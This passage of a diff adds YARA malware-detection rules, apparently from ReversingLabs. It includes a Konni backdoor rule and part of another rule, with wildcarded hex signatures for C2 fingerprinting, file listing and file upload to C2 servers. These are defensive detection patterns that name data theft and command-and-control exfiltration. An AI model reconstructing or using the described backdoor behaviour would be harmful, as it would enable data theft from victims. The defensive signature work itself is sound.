+            18 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 19 1F 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
+            25 1F 1A 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1B 1F 6E 13 ?? 12 ?? 28 ?? ?? ??
+            ?? A2 25 1F 1C 1F 63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1D 1F 6F 13 ?? 12 ?? 28 ??
+            ?? ?? ?? A2 25 1F 1E 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1F 1F 65 13 ?? 12 ??
+            28 ?? ?? ?? ?? A2 25 1F 20 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 6F ??
+            ?? ?? ?? 11 ?? 08 8E 69 6A 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 08 16 08 8E 69 6F
+            ?? ?? ?? ?? 6F ?? ?? ?? ?? 11 ?? 6F ?? ?? ?? ?? 25 6F ?? ?? ?? ?? 73 ?? ?? ?? ?? 25
+            6F ?? ?? ?? ?? 0D 6F ?? ?? ?? ?? 6F ?? ?? ?? ?? 09 13 ?? DE ?? 26 7E ?? ?? ?? ?? 13
+            ?? DE ?? 11
+        }
+		$get_files_and_directories_p1 = {
+            11 ?? 28 ?? ?? ?? ?? 13 ?? 28 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 31 ??
+            11 ?? 17 9A 13 ?? 11 ?? 72 ?? ?? ?? ?? 72 ?? ?? ?? ?? 6F ?? ?? ?? ?? 13 ?? 1F 0F 8D
+            ?? ?? ?? ?? 25 16 1F 44 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ??
+            ?? ?? ?? A2 25 18 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ??
+            ?? ?? ?? A2 25 1A 1F 63 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 74 13 ?? 12 ?? 28 ??
+            ?? ?? ?? A2 25 1C 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 72 13 ?? 12 ?? 28 ??
+            ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09 1F 20 13 ?? 12 ?? 28
+            ?? ?? ?? ?? A2 25 1F 0A 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 66 13 ?? 12
+            ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 11 ?? A2
+            25 1F 0E 72 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28
+            ?? ?? ?? ?? 13 ?? 11 ?? 13 ?? 16 13 ?? 38 ?? ?? ?? ?? 11 ?? 11 ?? 9A 73 ?? ?? ?? ??
+            13 ?? 1F 0B 8D ?? ?? ?? ?? 25 16 11 ?? A2 25 17 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 1F
+            16 8D ?? ?? ?? ?? 25 16 1F 4D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 4D 13 ?? 12 ??
+            28 ?? ?? ?? ?? A2 25 18 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 64 13 ?? 12 ??
+            28 ?? ?? ?? ?? A2 25 1A 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 2F 13 ?? 12 ??
+            28 ?? ?? ?? ?? A2 25 1C 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 79 13 ?? 12
+        }
+		$get_files_and_directories_p2 = {
+            28 ?? ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F ?? 1F 79 13 ?? 12
+            ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 68 13
+            ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 68 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 1F
+            3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F
+            0F 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
+            25 1F 11 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 73 13 ?? 12 ?? 28 ?? ?? ??
+            ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F 74 13 ?? 12 ?? 28 ??
+            ?? ?? ?? A2 25 1F 15 1F 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ??
+            ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 1F 3C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 44
+            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 49 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 52
+            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 1F 3E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 72 ??
+            ?? ?? ?? A2 25 1F 09 11 ?? 6F ?? ?? ?? ?? A2 25 1F 0A 72 ?? ?? ?? ?? A2 28 ?? ?? ??
+            ?? 13 ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 11 ?? 13 ?? 16 13 ?? 38
+            ?? ?? ?? ?? 11 ?? 11 ?? 9A 73 ?? ?? ?? ?? 13 ?? 1F 0C 8D ?? ?? ?? ?? 25 16 11 ?? A2
+            25 17 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 1F 16 8D ?? ?? ?? ?? 25 16 1F 4D 13 ?? 12 ??
+            28 ?? ?? ?? ?? A2 25 17 1F 4D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 2F 13 ?? 12 ??
+            28 ?? ?? ?? ?? A2 25 19 1F 64 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 64 13 ?? 12 ??
+            28 ?? ?? ?? ?? A2 25 1B 1F 2F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 79 13 ?? 12 ??
+            28 ?? ?? ?? ?? A2 25 1D 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 79 13 ?? 12 ??
+            28 ?? ?? ?? ?? A2 25 1F 09 1F 79 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13
+        }
+		$get_files_and_directories_p3 = {
+            12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 68 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 68
+            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0D 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E
+            1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0F 1F 6D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25
+            1F 10 1F 3A 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 11 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ??
+            A2 25 1F 12 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ??
+            ?? ?? A2 25 1F 14 1F 74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 74 13 ?? 12 ?? 28
+            ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 28 ?? ?? ?? ?? A2 25 18 72 ?? ?? ?? ?? A2 25 19 1F 46
+            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 49 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 4C
+            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 45 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1D 72 ??
+            ?? ?? ?? A2 25 1E 11 ?? 6F ?? ?? ?? ?? 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 09 72 ??
+            ?? ?? ?? A2 25 1F 0A 11 ?? 6F ?? ?? ?? ?? A2 25 1F 0B 72 ?? ?? ?? ?? A2 28 ?? ?? ??
+            ?? 13 ?? 11 ?? 17 58 13 ?? 11 ?? 11 ?? 8E 69 3F ?? ?? ?? ?? 1F 0B 8D ?? ?? ?? ?? 25
+            16 11 ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? 8E 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
+            25 19 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 44 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
+            25 1B 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
+            25 1D 1F 28 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
+            25 1F 09 1F 29 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 72 ?? ?? ?? ?? A2 28 ?? ?? ??
+            ?? 13 ?? 1F 0B 8D ?? ?? ?? ?? 25 16 11 ?? A2 25 17 72 ?? ?? ?? ?? A2 25 18 11 ?? 8E
+            69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F
+        }
+		$upload_file_to_c2_p1 = {
+            11 ?? 28 ?? ?? ?? ?? 13 ?? 72 ?? ?? ?? ?? 13 ?? 11 ?? 8E 69 17 3E ?? ?? ?? ?? 11 ??
+            17 9A 17 8D ?? ?? ?? ?? 25 16 1F 22 9D 6F ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 39
+            ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 11 ?? 28 ?? ?? ?? ?? 13 ?? 02 28 ?? ?? ?? ??
+            13 ?? 1F 0D 8D ?? ?? ?? ?? 25 16 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 40 13
+            ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 11 ?? A2 25 19 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
+            25 1A 28 ?? ?? ?? ?? A2 25 1B 1F 7C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 28 ?? ?? ??
+            ?? A2 25 1D 1F 40 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 11 ?? A2 25 1F 09 1F 40 13 ??
+            12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 32 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0B 1F 40
+            13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 11 ?? 28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ??
+            02 02 7B ?? ?? ?? ?? 11 ?? 28 ?? ?? ?? ?? 26 1F 1E 8D ?? ?? ?? ?? 25 16 1F 66 13 ??
+            12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F 6C 13 ??
+            12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F 5B 13 ??
+            12 ?? 28 ?? ?? ?? ?? A2 25 1B 11 ?? A2 25 1C 1F 5D 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25
+            1D 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1E 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25
+            1F 09 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0A 1F 20 13 ?? 12 ?? 28
+        }
+		$upload_file_to_c2_p2 = {
+            A2 25 1F 0B 1F 75 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0C 1F 70 13 ?? 12 ?? 28 ?? ??
+            ?? ?? A2 25 1F 0D 1F 6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 0E 1F 6F 13 ?? 12 ?? 28
+            ?? ?? ?? ?? A2 25 1F 0F 1F 61 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 10 1F 64 13 ?? 12
+            ?? 28 ?? ?? ?? ?? A2 25 1F 11 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 12 1F 64 13
+            ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 13 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 14 1F
+            74 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 15 1F 6F 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F
+            16 1F 20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 17 1F 73 13 ?? 12 ?? 28 ?? ?? ?? ?? A2
+            25 1F 18 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 19 1F 72 13 ?? 12 ?? 28 ?? ?? ??
+            ?? A2 25 1F 1A 1F 76 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1B 1F 65 13 ?? 12 ?? 28 ??
+            ?? ?? ?? A2 25 1F 1C 1F 72 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1F 1D 1F 2E 13 ?? 12 ??
+            28 ?? ?? ?? ?? A2 28 ?? ?? ?? ?? 13 ?? 38 ?? ?? ?? ?? 1F 0F 8D ?? ?? ?? ?? 25 16 1F
+            66 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 17 1F 69 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 18 1F
+            6C 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 19 1F 65 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1A 1F
+            20 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1B 1F 6E 13 ?? 12 ?? 28 ?? ?? ?? ?? A2 25 1C 1F
+        }
+
+	condition:
+		uint16(0)==0x5A4D and ( all of ($send_fingerprint_to_c2_p*)) and ( all of ($get_files_and_directories_p*)) and ( all of ($upload_file_to_c2_p*))
+}
+rule REVERSINGLABS_Win32_Backdoor_Konni : TC_DETECTION MALICIOUS MALWARE FILE
+{
+	meta:
+		description = "Yara rule that detects Konni backdoor."
+		author = "ReversingLabs"
+		id = "6fe230b1-357a-54f7-a9a8-15d0369fec71"
+		date = "2023-12-07"
+		modified = "2023-12-07"
+		reference = "ReversingLabs"
+		source_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/yara/backdoor/Win32.Backdoor.Konni.yara#L1-L190"
+		license_url = "https://github.com/reversinglabs/reversinglabs-yara-rules//blob/5cd6c7eb3df8e809418e3d5b6d2c9f09a7c2dfd0/LICENSE"
+		logic_hash = "7907a657d804d485718ba13bb23513de0b909e7d455c2b3ee193b5329edd3ac6"
+		score = 75
+		quality = 90
+		tags = "TC_DETECTION, MALICIOUS, MALWARE, FILE"
+		status = "RELEASED"
+		sharing = "TLP:WHITE"
+		category = "MALWARE"
+		tc_detection_type = "Backdoor"
+		tc_detection_name = "Konni"
+		tc_detection_factor = 5
+		importance = 25
+
+	strings:
+		$network_communication_p1 = {
+            55 8B EC 83 EC ?? 53 56 8B 35 ?? ?? ?? ?? 57 33 FF 68 ?? ?? ?? ?? 8D 9E ?? ?? ?? ??
+            57 53 89 7D ?? 89 7D ?? 89 7D ?? 89 7D ?? 89 7D ?? 89 5D ?? E8 ?? ?? ?? ?? 8B 45 ??
+            50 56 8D 8E ?? ?? ?? ?? 51 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ??
+            81 C6 ?? ?? ?? ?? 56 E8 ?? ?? ?? ?? 57 57 57 6A ?? 57 FF 15 ?? ?? ?? ?? 8B D8 3B DF
+            0F 84 ?? ?? ?? ?? 57 57 6A ?? 57 57 6A ?? 56 53 C7 45 ?? ?? ?? ?? ?? FF 15 ?? ?? ??
+            ?? 8B F8 89 7D ?? 85 FF 75 ?? 53 FF 15 ?? ?? ?? ?? 8D 47 ?? 5F 5E 5B 8B E5 5D C2 ??
+            ?? 8B 55 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 52 68 ?? ?? ?? ?? 57 C7 45 ?? ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 85 F6 75 ?? 8B 35 ?? ?? ?? ?? 57 FF D6 53 FF D6 5F
+            5E B8 ?? ?? ?? ?? 5B 8B E5 5D C2 ?? ?? 6A ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ??
+            6A ?? 6A ?? 85 C0 74 ?? 8D 45 ?? 50 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 50 50 6A ?? 56
+            FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 57 FF D6 53 FF D6 5F 5E B8 ?? ?? ?? ??
+            5B 8B E5 5D C2 ?? ?? 8B 45 ?? 85 C0 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ??
+            ?? ?? ?? FF D6 57 FF D6 53 FF D6 5F 5E 83 C8 ?? 5B 8B E5 5D C2 ?? ?? 40 50 6A ?? 89
+        }
+		$network_communication_p2 = {
+            45 ?? FF 15 ?? ?? ?? ?? 8B F8 85 FF 75 ?? 50 50 50 56 FF 15 ?? ?? ?? ?? 56 8B 35 ??
+            ?? ?? ?? FF D6 8B 4D ?? 51 FF D6 53 FF D6 5F 5E 83 C8 ?? 5B 8B E5 5D C2 ?? ?? 8B 55
+            ?? 52 6A ?? 57 E8 ?? ?? ?? ?? 83 C4 ?? 6A ?? 68 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 68 ??
+            ?? ?? ?? 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 89 45 ?? 83 F8 ?? 75 ?? 6A ?? 6A ?? 6A ??
+            56 FF 15 ?? ?? ?? ?? 56 8B 35 ?? ?? ?? ?? FF D6 8B 45 ?? 50 FF D6 53 FF D6 5F 5E 83
+            C8 ?? 5B 8B E5 5D C2 ?? ?? 8B 55 ?? 8D 4D ?? 51 52 57 56 FF 15 ?? ?? ?? ?? 85 C0 74
+            ?? 83 7D ?? ?? 74 ?? 68 ?? ?? ?? ?? 57 C7 45 ?? ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ??
+            85 C0 B8 ?? ?? ?? ?? 75 ?? 8B 45 ?? 89 45 ?? 83 F8 ?? 74 ?? 8B 4D ?? 8B 55 ?? 6A ??
+            8D 45 ?? 50 51 57 52 FF 15 ?? ?? ?? ?? 8B 4D ?? 8B 45 ?? 01 45 ?? 51 6A ?? 57 E8 ??
+            ?? ?? ?? 8B 45 ?? 83 C4 ?? 8D 55 ?? 52 50 57 56 FF 15 ?? ?? ?? ?? 85 C0 75 ?? 8B 4D
+            ?? 51 FF 15 ?? ?? ?? ?? 57 FF 15 ?? ?? ?? ?? 6A ?? 6A ?? 6A ?? 56 FF 15 ?? ?? ?? ??
+            56 8B 35 ?? ?? ?? ?? FF D6 8B 55 ?? 52 FF D6 53 FF D6 83 7D ?? ?? 0F 84 ?? ?? ?? ??
+            8B 45 ?? 5F 5E 5B 8B E5 5D C2
+        }
+		$handle_c2_commands_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? 53 56 57 8D 85 ?? ?? ?? ??
+            50 33 FF 68 ?? ?? ?? ?? 89 BD ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8B F0 89 B5 ?? ?? ?? ??
+            3B F7 75 ?? 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 8B 0D ?? ??
+            ?? ?? 8B 16 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? A1 ?? ?? ?? ?? 8B
+            4E ?? 50 51 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 56 ?? 68 ?? ?? ?? ?? 52 E8 ?? ??
+            ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4E ?? 6A ?? E8 ?? ?? ?? ?? 83 C4 ?? E9 ?? ?? ?? ?? 8B
+            5E ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? E8 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 46 ?? 52 50 E8 ?? ??
+            ?? ?? 83 C4 ?? 85 C0 75 ?? 8B 4E ?? 57 51 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 68 ?? ??
+            ?? ?? FF 15 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 46 ?? 52 50 E8 ?? ?? ??
+            ?? 83 C4 ?? 85 C0 75 ?? 8B 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 69 C0 ?? ?? ?? ?? A3 ??
+            ?? ?? ?? E9 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 56 ?? 51 52 E8 ?? ?? ?? ?? 83 C4 ?? 85
+        }
+		$handle_c2_commands_p2 = {
+            C0 75 ?? 8B 46 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 69 C0 ?? ?? ?? ?? A3 ?? ?? ?? ?? E9 ??
+            ?? ?? ?? 8B 85 ?? ?? ?? ?? 8B 4C 86 ?? 68 ?? ?? ?? ?? 51 E8 ?? ?? ?? ?? 83 C4 ?? BE
+            ?? ?? ?? ?? 85 C0 75 ?? 8D 78 ?? E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9 ?? ?? ?? ?? 33
+            FF E8 ?? ?? ?? ?? 8B B5 ?? ?? ?? ?? E9 ?? ?? ?? ?? 8B 15 ?? ?? ?? ?? 8B 06 52 50 E8
+            ?? ?? ?? ?? 83 C4 ?? 85 C0 0F 85 ?? ?? ?? ?? 8B 0D ?? ?? ?? ?? 8B 95 ?? ?? ?? ?? 8B
+            44 96 ?? 51 50 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 8D ?? ?? ?? ?? 8B 54 8E ?? 68
+            ?? ?? ?? ?? 52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B 06 8D 50 ?? 8B FF 66 8B 08 83
+            C0 ?? 66 3B CF 75 ?? 2B C2 D1 F8 57 8D 3C 45 ?? ?? ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB
+            ?? 8B 06 8D 50 ?? 66 8B 08 83 C0 ?? 66 3B CF 75 ?? 2B C2 D1 F8 6A ?? 8D 3C 45 ?? ??
+            ?? ?? E8 ?? ?? ?? ?? 83 C4 ?? EB ?? A1 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 8B 54 8E ?? 50
+            52 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 75 ?? 8D 48 ?? EB ?? 33 C9 E8 ?? ?? ?? ?? 8B F8 56
+            FF 15 ?? ?? ?? ?? 8B 4D ?? 8B C7 5F 5E 33 CD 5B E8 ?? ?? ?? ?? 8B E5 5D C3
+        }
+		$create_cab_file_and_upload_p1 = {
+            55 8B EC 81 EC ?? ?? ?? ?? A1 ?? ?? ?? ?? 33 C5 89 45 ?? A1 ?? ?? ?? ?? 53 56 57 33
+            FF 68 ?? ?? ?? ?? 8B F1 8D 95 ?? ?? ?? ?? 33 C9 57 52 89 85 ?? ?? ?? ?? 89 BD ?? ??
+            ?? ?? 89 BD ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 89 BD ?? ?? ?? ?? 66 89 8D ?? ?? ?? ?? E8
+            ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 33 C0 57 51 66 89 85 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 33 C0 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 66 89
+            85 ?? ?? ?? ?? 83 C4 ?? 8D 85 ?? ?? ?? ?? 33 D2 50 66 89 95 ?? ?? ?? ?? FF 15 ?? ??
+            ?? ?? 0F B7 8D ?? ?? ?? ?? 0F B7 95 ?? ?? ?? ?? 0F B7 85 ?? ?? ?? ?? 51 0F B7 8D ??
+            ?? ?? ?? 52 0F B7 95 ?? ?? ?? ?? 50 51 52 68 ?? ?? ?? ?? 68 ?? ?? ?? ?? 8D 85 ?? ??
+            ?? ?? 68 ?? ?? ?? ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? 8D 8D ?? ?? ?? ?? 57
+            51 E8 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D
+            85 ?? ?? ?? ?? 50 57 68 ?? ?? ?? ?? 8B C8 51 FF 15 ?? ?? ?? ?? 8D 95 ?? ?? ?? ?? 52
+            FF 15 ?? ?? ?? ?? 6A ?? 56 E8 ?? ?? ?? ?? 8B D8 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83
+            C4 ?? 85 C0 0F 84 ?? ?? ?? ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ??
+            68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ??
+            ?? 83 C4 ?? 85 C0 74 ?? 68 ?? ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 68 ??
+            ?? ?? ?? 53 E8 ?? ?? ?? ?? 83 C4 ?? 85 C0 74 ?? 8B CE 8D BD ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 F8 ?? 75 ?? 83 C8 ?? 5F 5E 5B 8B 4D ?? 33 CD E8 ?? ?? ?? ?? 8B E5 5D C3 57 8D
+        }
+		$create_cab_file_and_upload_p2 = {
+            85 ?? ?? ?? ?? 50 56 FF 15 ?? ?? ?? ?? EB ?? 33 FF 8D 9D ?? ?? ?? ?? 8D 85 ?? ?? ??
+            ?? E8 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 74 ?? 8D 8D ?? ?? ?? ?? 51 FF 15 ?? ?? ??
+            ?? 8B B5 ?? ?? ?? ?? 83 C6 ?? 56 6A ?? FF 15 ?? ?? ?? ?? 89 85 ?? ?? ?? ?? 3B C7 74
+            ?? 56 57 50 E8 ?? ?? ?? ?? 83 C4 ?? 68 ?? ?? ?? ?? E8 ?? ?? ?? ?? 8B D8 83 C4 ?? 3B
+            DF 74 ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? EB ?? 8D 9B ?? ?? ?? ?? 66 8B 08 83 C0 ?? 66 3B
+            CF 75 ?? 2B C2 8D 93 ?? ?? ?? ?? D1 F8 8D 0C 00 33 C0 89 02 89 42 ?? 89 42 ?? 89 42
+            ?? 89 42 ?? 89 42 ?? 89 42 ?? 89 42 ?? 3B CF 74 ?? 51 8D 8D ?? ?? ?? ?? E8 ?? ?? ??
+            ?? 83 C4 ?? 8B CB EB ?? 33 C9 8B 95 ?? ?? ?? ?? 89 8A ?? ?? ?? ?? 3B CF 0F 84 ?? ??
+            ?? ?? 8B 85 ?? ?? ?? ?? 8B BD ?? ?? ?? ?? 8B 9D ?? ?? ?? ?? 56 50 E8 ?? ?? ?? ?? 8B
+            BD ?? ?? ?? ?? 8B 87 ?? ?? ?? ?? 85 C0 74 ?? 50 E8 ?? ?? ?? ?? 83 C4 ?? 53 C7 87 ??
+            ?? ?? ?? ?? ?? ?? ?? FF 15 ?? ?? ?? ?? 8D 85 ?? ?? ?? ?? 8D 50 ?? 8D 9B ?? ?? ?? ??
+            66 8B 08 83 C0 ?? 66 85 C9 75 ?? 2B C2 D1 F8 8D 84 46 ?? ?? ?? ?? 50 6A ?? 89 85 ??
+            ?? ?? ?? FF 15 ?? ?? ?? ?? 8B D8 85 DB 0F 84 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 51 6A ??
+            53 E8 ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 83 C4 ?? 8D 95 ?? ?? ?? ?? 52 68 ?? ?? ?? ?? 50
+            53 E8 ?? ?? ?? ?? 8B 8D ?? ?? ?? ?? 56 89 85 ?? ?? ?? ?? 51 03 C3 50 E8 ?? ?? ?? ??
+            8B BD ?? ?? ?? ?? 8B 85 ?? ?? ?? ?? 03 FB 83 C4 ?? 03 FE B9 ?? ?? ?? ?? BE ?? ?? ??
